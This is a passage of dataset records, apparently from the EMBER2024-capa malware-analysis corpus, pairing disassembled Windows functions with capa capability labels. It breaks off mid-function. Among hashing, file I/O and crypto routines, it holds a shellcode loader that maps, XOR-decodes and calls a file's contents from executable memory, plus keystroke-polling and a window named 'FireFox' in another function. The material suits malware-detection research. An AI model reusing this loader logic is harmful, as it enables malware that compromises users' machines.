joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14000918c
Capabilities:
Hash data with crc32

Disassembly:
mov rax, qword [rcx + 0x1e8]
mov r10, r8
movsxd r9, dword [rcx + 0x1e0]
mov r11, rdx
mov rcx, r11
mov r8d, dword [rax + r9*4 - 4]
mov eax, r10d
sub eax, edx
neg r10
sbb edx, edx
and edx, eax
jmp fcn.140009bd4

Function at 0x140009864
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x20
movsxd r15, r9d
mov rsi, r8
test r8, r8
je 0x14000988b
and qword [r8], 0
call fcn.1400099a0
mov rbx, rax
test rax, rax
je 0x140009984
xor edx, edx
mov rcx, rax
lea r8d, [rdx + 2]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x14000997b
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
movsxd rdi, eax
cmp edi, 0xffffffff
je 0x14000997b
xor r8d, r8d
xor edx, edx
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x14000997b
mov rax, qword [0x140071338]
mov rbp, rdi
test rax, rax
je 0x1400098f3
inc dword [rax + 0x3c8]
mov rdx, qword [0x140071348]
lea rcx, [r15 + rdi]
call qword [0x140059050]
mov rdi, rax
test rax, rax
je 0x14000997b
mov r9, rbx
mov r8, rbp
mov edx, 1
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
cmp rax, rbp
je 0x140009952
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rax, qword [0x140071338]
test rax, rax
je 0x140009940
dec dword [rax + 0x3c8]
mov rdx, qword [0x140071348]
mov rcx, rdi
call qword [0x140059058]
jmp 0x140009984
test r15d, r15d
jle 0x140009965
lea rcx, [rdi + rbp]
mov r8, r15
xor edx, edx
call sub.VCRUNTIME140.dll_memset
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
test rsi, rsi
je 0x140009976
mov qword [rsi], rbp
mov rax, rdi
jmp 0x140009986
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
xor eax, eax
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop rdi
ret

Function at 0x140009bd4
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
cmp dword [0x140071364], 0
lea rsi, [0x140071360]
mov ebx, r8d
mov edi, edx
mov r10, rcx
jne 0x140009c3b
xor r9d, r9d
mov r11, rsi
mov r8d, r9d
mov edx, 8
mov ecx, r8d
mov eax, r8d
and ecx, 1
shr eax, 1
neg ecx
and ecx, 0xedb88320
mov r8d, ecx
xor r8d, eax
sub rdx, 1
jne 0x140009c09
mov dword [r11], r8d
inc r9d
add r11, 4
cmp r9d, 0x100
jb 0x140009c01
not ebx
mov edx, ebx
test edi, edi
jle 0x140009c5d
movzx eax, byte [r10]
inc r10
movzx ecx, dl
xor rcx, rax
shr edx, 8
xor edx, dword [rsi + rcx*4]
sub edi, 1
jne 0x140009c43
jmp 0x140009c97
mov r8b, byte [r10]
inc r10
test r8b, r8b
je 0x140009c97
mov r9b, 0x23
cmp r8b, r9b
jne 0x140009c7c
cmp byte [r10], r9b
jne 0x140009c7c
cmp byte [r10 + 1], r9b
cmove edx, ebx
movzx ecx, dl
movzx eax, r8b
mov r8b, byte [r10]
xor rcx, rax
shr edx, 8
inc r10
xor edx, dword [rsi + rcx*4]
test r8b, r8b
jne 0x140009c6b
mov rbx, qword [rsp + 8]
not edx
mov rsi, qword [rsp + 0x10]
mov eax, edx
mov rdi, qword [rsp + 0x18]
ret
Function at 0x14000fa90
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x20
mov rax, qword [0x140071338]
mov rbx, rcx
and dword [rax + 0x2d9c], 0
test rcx, rcx
je 0x14000faf9
and qword [rsp + 0x30], 0
lea rcx, [rsp + 0x30]
call fcn.14000fb04
lea rdx, [0x14004bb04]
mov rcx, rbx
mov rdi, rax
call fcn.1400099a0
mov rbx, rax
test rax, rax
je 0x14000faf9
mov r8, qword [rsp + 0x30]
mov r9, rax
mov edx, 1
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rbx, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
Function at 0x14001ead0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x90
xor r14d, r14d
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
mov rsi, rdx
movsxd rdi, r9d
mov rbp, rcx
test r9d, r9d
jle 0x14001ecc1
lea rbx, [r8 + 0x20]
xor r13d, r13d
lea r8d, [r14 + 1]
mov r11d, 0x100
xorps xmm7, xmm7
movss xmm6, dword [rbx - 0x20]
comiss xmm6, xmm7
jbe 0x14001eb72
movsxd r10, dword [rsi + 0x24]
mov r9, qword [rsi + 8]
movsx ecx, r11w
movzx eax, byte [r10 + r9 + 7]
movzx edx, byte [r10 + r9 + 6]
imul edx, ecx
movsx ecx, r11w
add dx, ax
movzx eax, byte [r10 + r9 + 5]
movsx r8d, dx
movzx edx, byte [r10 + r9 + 4]
imul edx, ecx
add ax, dx
cwde
sub eax, r8d
mov r8d, 1
movd xmm0, eax
jmp 0x14001eb94
movsxd rdx, dword [rsi + 0x1c]
mov rax, qword [rsi + 8]
xorps xmm6, xmmword [0x14004bc90]
movzx ecx, byte [rdx + rax + 0x12]
movzx eax, byte [rdx + rax + 0x13]
shl ecx, 8
add ecx, eax
movd xmm0, ecx
mov al, byte [rbp + 0x20]
xor r15d, r15d
cvtdq2ps xmm0, xmm0
mov byte [rbx], al
mov al, byte [rbp + 0x24]
mov byte [rbx + 1], al
divss xmm6, xmm0
cmp dword [rbx - 0x10], r15d
jle 0x14001ecb4
mov rcx, qword [rsp + 0xe0]
mov rax, r13
shl rax, 4
add rcx, 6
xor r12d, r12d
add rcx, rax
mov qword [rsp + 0x60], rcx
mov rax, qword [rbx - 0x18]
test rax, rax
jne 0x14001ebe2
mov edx, dword [rbx - 0x1c]
add edx, r15d
jmp 0x14001ebe6
mov edx, dword [rax + r12]
mov rcx, rsi
call fcn.14001e234
mov edx, eax
xorps xmm3, xmm3
mov eax, dword [rbp + 0x24]
xorps xmm2, xmm2
mov rcx, rsi
cvtsi2ss xmm3, rax
mov eax, dword [rbp + 0x20]
cvtsi2ss xmm2, rax
lea rax, [rsp + 0x58]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x54]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0xd8]
mov qword [rsp + 0x30], rax
movss dword [rsp + 0x28], xmm7
mulss xmm3, xmm6
mulss xmm2, xmm6
movss dword [rsp + 0x20], xmm7
call fcn.14001e66c
mov rcx, qword [rsp + 0x60]
mov r8d, 1
movzx eax, word [rbp + 0x20]
add r14d, r8d
sub ax, word [rsp + 0xd8]
add r13, r8
add ax, word [rbp + 0x1c]
add r15d, r8d
add ax, word [rsp + 0x50]
add r12, 4
sub ax, r8w
mov word [rcx - 2], ax
movzx eax, word [rbp + 0x24]
sub ax, word [rsp + 0x54]
add ax, word [rbp + 0x1c]
add ax, word [rsp + 0x58]
sub ax, r8w
mov word [rcx], ax
add rcx, 0x10
mov qword [rsp + 0x60], rcx
cmp r15d, dword [rbx - 0x10]
jl 0x14001ebd1
mov r11d, 0x100
add rbx, 0x28
sub rdi, r8
jne 0x14001eb20
movaps xmm7, xmmword [rsp + 0x70]
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x30]
mov eax, r14d
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x14001fe20
Capabilities:
Log keystrokes via polling

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
mov rbp, rsp
sub rsp, 0x50
mov rax, qword [0x140070f40]
xor rax, rsp
mov qword [rbp - 8], rax
call fcn.1400091ec
mov rcx, qword [0x1400717b8]
lea rdx, [rbp - 0x18]
mov rdi, rax
call qword [sym.imp.USER32.dll_GetClientRect]
mov ecx, dword [rbp - 0x10]
sub ecx, dword [rbp - 0x18]
movd xmm1, ecx
mov ecx, dword [rbp - 0xc]
sub ecx, dword [rbp - 0x14]
cvtdq2ps xmm1, xmm1
movd xmm0, ecx
lea rcx, [rbp - 0x20]
cvtdq2ps xmm0, xmm0
movss dword [rdi + 8], xmm1
movss dword [rdi + 0xc], xmm0
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rbp - 0x20]
xorps xmm1, xmm1
sub rax, qword [0x1400717c0]
xorps xmm0, xmm0
cvtsi2ss xmm0, qword [0x1400717c8]
mov ecx, 0x11
cvtsi2ss xmm1, rax
divss xmm1, xmm0
movss dword [rdi + 0x10], xmm1
mov rax, qword [rbp - 0x20]
mov qword [0x1400717c0], rax
call qword [sym.imp.USER32.dll_GetKeyState]
shr eax, 0xf
mov bl, 1
and al, bl
mov ecx, 0x10
mov byte [rdi + 0x128], al
call qword [sym.imp.USER32.dll_GetKeyState]
shr eax, 0xf
mov ecx, 0x12
and al, bl
mov byte [rdi + 0x129], al
call qword [sym.imp.USER32.dll_GetKeyState]
shr eax, 0xf
and al, bl
mov byte [rdi + 0x12b], 0
mov byte [rdi + 0x12a], al
call fcn.1400091ec
cmp byte [rax + 0x3a7], 0
lea rbx, [rax + 0x110]
je 0x14001ff49
cvttss2si ecx, dword [rbx]
lea rdx, [rbp - 0x30]
cvttss2si eax, dword [rax + 0x114]
mov dword [rbp - 0x30], ecx
mov rcx, qword [0x1400717b8]
mov dword [rbp - 0x2c], eax
call qword [sym.imp.USER32.dll_ClientToScreen]
mov edx, dword [rbp - 0x2c]
mov ecx, dword [rbp - 0x30]
call qword [sym.imp.USER32.dll_SetCursorPos]
mov eax, 0xff7fffff
mov dword [rbx], eax
mov dword [rbx + 4], eax
call qword [sym.imp.USER32.dll_GetActiveWindow]
cmp rax, qword [0x1400717b8]
jne 0x14001ff9e
lea rcx, [rbp - 0x28]
call qword [sym.imp.USER32.dll_GetCursorPos]
test eax, eax
je 0x14001ff9e
mov rcx, qword [0x1400717b8]
lea rdx, [rbp - 0x28]
call qword [sym.imp.USER32.dll_ScreenToClient]
test eax, eax
je 0x14001ff9e
movd xmm0, dword [rbp - 0x28]
movd xmm1, dword [rbp - 0x24]
cvtdq2ps xmm0, xmm0
cvtdq2ps xmm1, xmm1
movss dword [rbx], xmm0
movss dword [rbx + 4], xmm1
cmp byte [rdi + 0xc8], 0
je 0x14001ffac
or eax, 0xffffffff
jmp 0x14001ffb1
call fcn.140009228
cmp dword [0x140059188], eax
je 0x14001ffc4
mov dword [0x140059188], eax
call fcn.14001ffec
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.1400482a0
mov rbx, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x50
pop rbp
ret
Function at 0x14003e8e0
Capabilities:
Create thread

Disassembly:
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
sub rsp, 0x88
mov rax, qword [0x140070f40]
xor rax, rsp
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x30], 0
cmp dword [rsp + 0x90], 0
jl 0x14003e93a
cmp dword [rsp + 0x90], 0x7c
jge 0x14003e93a
lea r8, [rsp + 0x30]
mov edx, dword [rsp + 0x90]
lea rcx, [0x14006fb70]
call fcn.14003eab4
nop
lea rcx, [rsp + 0x50]
call fcn.140035268
nop
cmp qword [rsp + 0x30], 0
jne 0x14003e961
lea rdx, [0x140051500]
lea rcx, [rsp + 0x50]
call fcn.1400363b0
nop
jmp 0x14003e971
mov rdx, qword [rsp + 0x30]
lea rcx, [rsp + 0x50]
call fcn.1400363b0
nop
cmp dword [rsp + 0xa0], 1
jne 0x14003e98d
lea rdx, [0x140051520]
lea rcx, [rsp + 0x50]
call fcn.1400363b0
nop
movss xmm2, dword [0x140050150]
movss xmm1, dword [0x14005287c]
lea rcx, [rsp + 0x48]
call fcn.14003581c
mov qword [rsp + 0x38], rax
lea rcx, [rsp + 0x50]
call fcn.140041e20
mov qword [rsp + 0x40], rax
mov rdx, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x40]
call fcn.1400252a0
movzx eax, al
test eax, eax
je 0x14003ea02
cmp dword [rsp + 0xa0], 0
jne 0x14003ea02
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x98]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
nop
lea rcx, [rsp + 0x50]
call fcn.140035eec
nop
mov rcx, qword [rsp + 0x70]
xor rcx, rsp
call fcn.1400482a0
add rsp, 0x88
ret
Function at 0x140042e84
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x170
mov rax, qword [0x140070f40]
xor rax, rsp
mov qword [rsp + 0x160], rax
lea rax, [rsp + 0x30]
mov rdi, rax
xor eax, eax
mov ecx, 0x130
rep stosb byte [rdi], al
xor edx, edx
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x30], 0x130
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x20]
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x140042f20
mov rdx, qword [rsp + 0x188]
lea rcx, [rsp + 0x5c]
call qword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x140042f0d
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rsp + 0x38]
jmp 0x140042f2d
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x20]
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x140042ee5
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rcx, qword [rsp + 0x160]
xor rcx, rsp
call fcn.1400482a0
add rsp, 0x170
pop rdi
ret
Function at 0x140046000
Capabilities:
Hash data using fnv

Disassembly:
mov byte [rsp + 0x10], dl
mov dword [rsp + 8], ecx
movsx eax, byte [rsp + 0x10]
mov ecx, dword [rsp + 8]
xor ecx, eax
mov eax, ecx
mov eax, eax
imul rax, rax, 0x1000193
ret

Function at 0x1400469ec
Capabilities:
Create thread
Hide graphical window

Disassembly:
push rdi
sub rsp, 0xc0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x14004058c]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
lea rax, [rsp + 0x70]
mov rdi, rax
xor eax, eax
mov ecx, 0x48
rep stosb byte [rdi], al
xor ecx, ecx
call qword [sym.imp.GDI32.dll_GetStockObject]
mov qword [rsp + 0xa0], rax
mov edx, 0x7f00
xor ecx, ecx
call qword [sym.imp.USER32.dll_LoadCursorA]
mov qword [rsp + 0x98], rax
mov qword [rsp + 0x88], 0
lea rax, [0x140040a48]
mov qword [rsp + 0x78], rax
lea rax, [0x140051620]
mov qword [rsp + 0xb0], rax
mov dword [rsp + 0x70], 3
lea rcx, [rsp + 0x70]
call qword [sym.imp.USER32.dll_RegisterClassA]
movzx eax, ax
test eax, eax
jne 0x140046aa5
lea rdx, str._n_n_FireFox
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140030ae0
nop
mov ecx, 1
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov dword [rsp + 0x60], eax
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov dword [rsp + 0x64], eax
mov qword [rsp + 0x58], 0
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
mov eax, dword [rsp + 0x60]
mov dword [rsp + 0x38], eax
mov eax, dword [rsp + 0x64]
mov dword [rsp + 0x30], eax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0x80000000
xor r8d, r8d
lea rdx, str.FireFox_29.1.5
xor ecx, ecx
call qword [sym.imp.USER32.dll_CreateWindowExA]
mov qword [0x140072268], rax
mov edx, 5
mov rcx, qword [0x140072268]
call qword [sym.imp.USER32.dll_ShowWindow]
lea rdx, [0x1400515f0]
mov rcx, qword [0x140072268]
call qword [sym.imp.dwmapi.dll_DwmExtendFrameIntoClientArea]
mov r8d, 0x800a0
mov edx, 0xffffffec
mov rcx, qword [0x140072268]
call qword [sym.imp.USER32.dll_SetWindowLongA]
mov rcx, qword [0x140072268]
call qword [sym.imp.USER32.dll_UpdateWindow]
nop
add rsp, 0xc0
pop rdi
ret
Function at 0x140048ac8
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140048b12
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140048b12
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140048b12
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140048b12
cmp dword [rcx + 0x84], 0xe
jbe 0x140048b12
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140048b14
xor al, al
add rsp, 0x28
ret
Function at 0x1800041d0
Capabilities:
Encode data using xor
Encrypt data using aes
Reference aes constants

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov r10, rdx
mov rsi, rdx
mov rbx, rcx
mov r8, rcx
mov r11d, 4
sub r10, rcx
nop dword [rax]
mov r9d, 4
nop word [rax + rax]
movzx eax, byte [r10 + r8 + 0xa0]
inc r8
xor byte [r8 - 1], al
dec r9
jne 0x180004210
dec r11
jne 0x180004200
mov dil, 9
lea rbp, [0x180015660]
nop dword [rax]
nop dword [rax + rax]
movzx eax, byte [rbx + 9]
movzx ecx, byte [rbx + 0xd]
mov r8, rbx
mov byte [rbx + 0xd], al
movzx eax, byte [rbx + 5]
mov r9d, 4
mov byte [rbx + 9], al
movzx eax, byte [rbx + 1]
mov byte [rbx + 1], cl
movzx ecx, byte [rbx + 2]
mov byte [rbx + 5], al
movzx eax, byte [rbx + 0xa]
mov byte [rbx + 2], al
movzx eax, byte [rbx + 0xe]
mov byte [rbx + 0xa], cl
movzx ecx, byte [rbx + 6]
mov byte [rbx + 6], al
movzx eax, byte [rbx + 7]
mov byte [rbx + 0xe], cl
movzx ecx, byte [rbx + 3]
mov byte [rbx + 3], al
movzx eax, byte [rbx + 0xb]
mov byte [rbx + 7], al
movzx eax, byte [rbx + 0xf]
mov byte [rbx + 0xf], cl
mov byte [rbx + 0xb], al
nop dword [rax]
mov rcx, r8
mov edx, 4
nop dword [rax + rax]
movzx eax, byte [rcx]
lea rcx, [rcx + 4]
movzx eax, byte [rax + rbp]
mov byte [rcx - 4], al
dec rdx
jne 0x1800042b0
inc r8
dec r9
jne 0x1800042a0
movzx r8d, dil
mov rax, rbx
lea r9d, [rdx + 4]
shl r8, 4
sub r8, rbx
add r8, rsi
mov edx, 4
nop word [rax + rax]
movzx ecx, byte [r8 + rax]
inc rax
xor byte [rax - 1], cl
dec rdx
jne 0x1800042f0
dec r9
jne 0x1800042e0
test dil, dil
je 0x18000431b
mov rcx, rbx
call fcn.180003d80
add dil, 0xff
jmp 0x180004240
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret

Function at 0x180004330
Capabilities:
Encode data using xor

Disassembly:
test r8d, r8d
je 0x1800043c3
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
sub rsp, 0x20
mov qword [rsp + 0x30], rdi
mov rdi, rcx
mov esi, r8d
sub rdi, rdx
mov rbx, rdx
mov rbp, rcx
add rdi, 0xb0
dec rsi
shr rsi, 4
inc rsi
nop dword [rax]
movups xmm0, xmmword [rbx]
mov rdx, rbp
mov rcx, rbx
call fcn.1800041d0
mov ecx, 0x10
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [rdi + rbx]
inc rbx
xor byte [rbx - 1], al
dec rcx
jne 0x180004390
sub rdi, 0x10
movups xmmword [rbp + 0xb0], xmm0
dec rsi
jne 0x180004370
mov rdi, qword [rsp + 0x30]
mov rbx, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x40]
add rsp, 0x20
pop rsi
ret
Function at 0x1400011c0
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x30
mov rax, qword [0x14001d008]
xor rax, rsp
mov qword [rsp + 0x28], rax
movsxd rbx, edx
lea r8, [0x14001a800]
mov rdx, rcx
mov qword [rsp + 0x20], 0
lea rcx, [rsp + 0x20]
call fcn.1400067d8
test eax, eax
jne 0x140001252
cmp qword [rsp + 0x20], 0
je 0x140001252
mov rcx, rbx
mov rdi, rbx
call fcn.140006e04
mov rbx, rax
test rax, rax
je 0x140001252
mov r9, qword [rsp + 0x20]
mov r8, rdi
mov edx, 1
mov rcx, rax
call fcn.140006a90
mov rcx, qword [rsp + 0x20]
call fcn.1400066b8
mov rax, rbx
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.140001b60
mov rbx, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret
mov ecx, 0xffffffff
call fcn.1400065e4
int3

Function at 0x1400014c0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov rbx, rcx
movsxd rbp, edx
mov ecx, r8d
mov esi, r8d
call fcn.14000661c
mov rdi, rbp
test ebp, ebp
jle 0x14000150d
nop dword [rax]
call fcn.1400065f0
cdq
lea rbx, [rbx + 1]
idiv ebp
inc dl
xor dl, byte [rbx - 1]
xor dl, sil
mov byte [rbx - 1], dl
sub rdi, 1
jne 0x1400014f0
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x140001530
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x50
mov rax, qword [0x14001d008]
xor rax, rsp
mov qword [rsp + 0x48], rax
xor edi, edi
mov ebx, ecx
mov dword [rsp + 0x40], edi
lea ecx, [rdi + 0x30]
call fcn.140001b80
movups xmm0, xmmword [str.Arise__fair_sun__and_ate_the_envious_moon_]
mov r8, rax
mov qword [rsp + 0x30], 0x2a
mov qword [rsp + 0x38], 0x2f
movups xmmword [rax], xmm0
mov qword [rsp + 0x20], rax
movups xmm1, xmmword [0x14001a818]
movups xmmword [rax + 0x10], xmm1
movsd xmm0, qword [0x14001a828]
movsd qword [rax + 0x20], xmm0
movzx ecx, word [0x14001a830]
mov word [rax + 0x28], cx
lea rcx, [rsp + 0x20]
mov byte [rax + 0x2a], dil
call fcn.1400014b0
lea edx, [rdi + 0x30]
movsxd rsi, eax
mov rcx, r8
call fcn.140001bbc
mov edx, edi
lea rcx, [rsp + 0x20]
cmp ebx, 4
sete dl
inc edx
call fcn.140001260
cmp qword [rax + 0x18], 0x10
jb 0x1400015e4
mov rax, qword [rax]
mov edx, esi
mov rcx, rax
call fcn.1400011c0
mov rdx, qword [rsp + 0x38]
mov rbp, rax
cmp rdx, 0x10
jb 0x14000162e
mov rcx, qword [rsp + 0x20]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001629
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400016dc
call fcn.140001bbc
mov r9d, 4
mov qword [rsp + 0x30], rdi
mov r8d, 0x3000
mov qword [rsp + 0x38], 0xf
mov rdx, rsi
mov byte [rsp + 0x20], dil
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rsi
mov rdx, rbp
mov rcx, rax
mov rbx, rax
call fcn.140005c90
lea r9, [rsp + 0x40]
mov r8d, 0x40
mov rdx, rsi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, 0x66666667
mov rcx, rbx
imul esi
sar edx, 2
mov r8d, edx
add edx, 0xffff897e
shr r8d, 0x1f
add r8d, edx
mov edx, esi
call fcn.1400014c0
call rbx
mov r8d, 0x8000
mov rdx, rsi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140001b60
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
add rsp, 0x50
pop rdi
ret
call fcn.140006d8c
int3
Function at 0x1400065e4
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 8], rbx
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov ebx, ecx
test r8d, r8d
jne 0x140006477
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140006477
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140006477
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140006477
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140006477
cmp dword [rcx + 0x84], 0xe
jbe 0x140006477
cmp dword [rcx + 0xf8], 0
je 0x140006477
mov ecx, ebx
call fcn.140006518
lea rax, [rbp + 0x18]
mov byte [rbp + 0x28], 0
mov qword [rbp - 0x20], rax
lea r9, [rbp - 0x2c]
lea rax, [rbp + 0x20]
mov qword [rbp - 0x18], rax
lea r8, [rbp - 0x20]
lea rax, [rbp + 0x28]
mov qword [rbp - 0x10], rax
lea rdx, [rbp - 0x28]
mov eax, 2
lea rcx, [rbp - 0x30]
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
call fcn.140006308
cmp dword [rbp + 0x20], 0
je 0x1400064c4
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.1400064cc
int3
xor r8d, r8d
xor edx, edx
jmp 0x140006410
Function at 0x1400080d0
Capabilities:
Write file on windows

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x80
mov rax, qword [0x140014040]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov esi, 0xffff
movzx edi, dx
mov rbx, rcx
cmp si, dx
jne 0x140008101
xor eax, eax
jmp 0x14000824b
mov rax, qword [rcx + 0x40]
mov r8, qword [rax]
test r8, r8
je 0x14000813e
mov r9, qword [rcx + 0x58]
movsxd r10, dword [r9]
lea rdx, [r8 + r10*2]
cmp r8, rdx
jae 0x14000813e
lea ecx, [r10 - 1]
movzx eax, di
mov dword [r9], ecx
mov rdx, qword [rbx + 0x40]
mov r8, qword [rdx]
lea rcx, [r8 + 2]
mov qword [rdx], rcx
mov word [r8], di
jmp 0x14000824b
cmp qword [rcx + 0x80], 0
mov qword [rsp + 0xb0], rbp
je 0x140008240
mov r8, qword [rcx + 0x18]
lea rax, [rcx + 0x70]
cmp qword [r8], rax
jne 0x140008185
mov rdx, qword [rcx + 0x90]
mov rcx, qword [rcx + 0x88]
mov qword [r8], rcx
sub rdx, rcx
mov rax, qword [rbx + 0x38]
sar rdx, 1
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x140008193
movzx ecx, di
jmp 0x1400081e7
lea rax, [rsp + 0x40]
mov word [rsp + 0x50], di
mov qword [rsp + 0x38], rax
lea rdx, [rbx + 0x74]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x30], rax
lea r9, [rsp + 0x52]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rax
lea r8, [rsp + 0x50]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_wchar_t__char__struct__Mbstatet_::out_struct__Mbstatet____ptr64__wchar_t_const____ptr64__wchar_t_const____ptr64__wchar_t_const____ptr64____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x140008200
sub eax, 1
je 0x140008200
cmp eax, 2
jne 0x140008240
movzx ecx, word [rsp + 0x50]
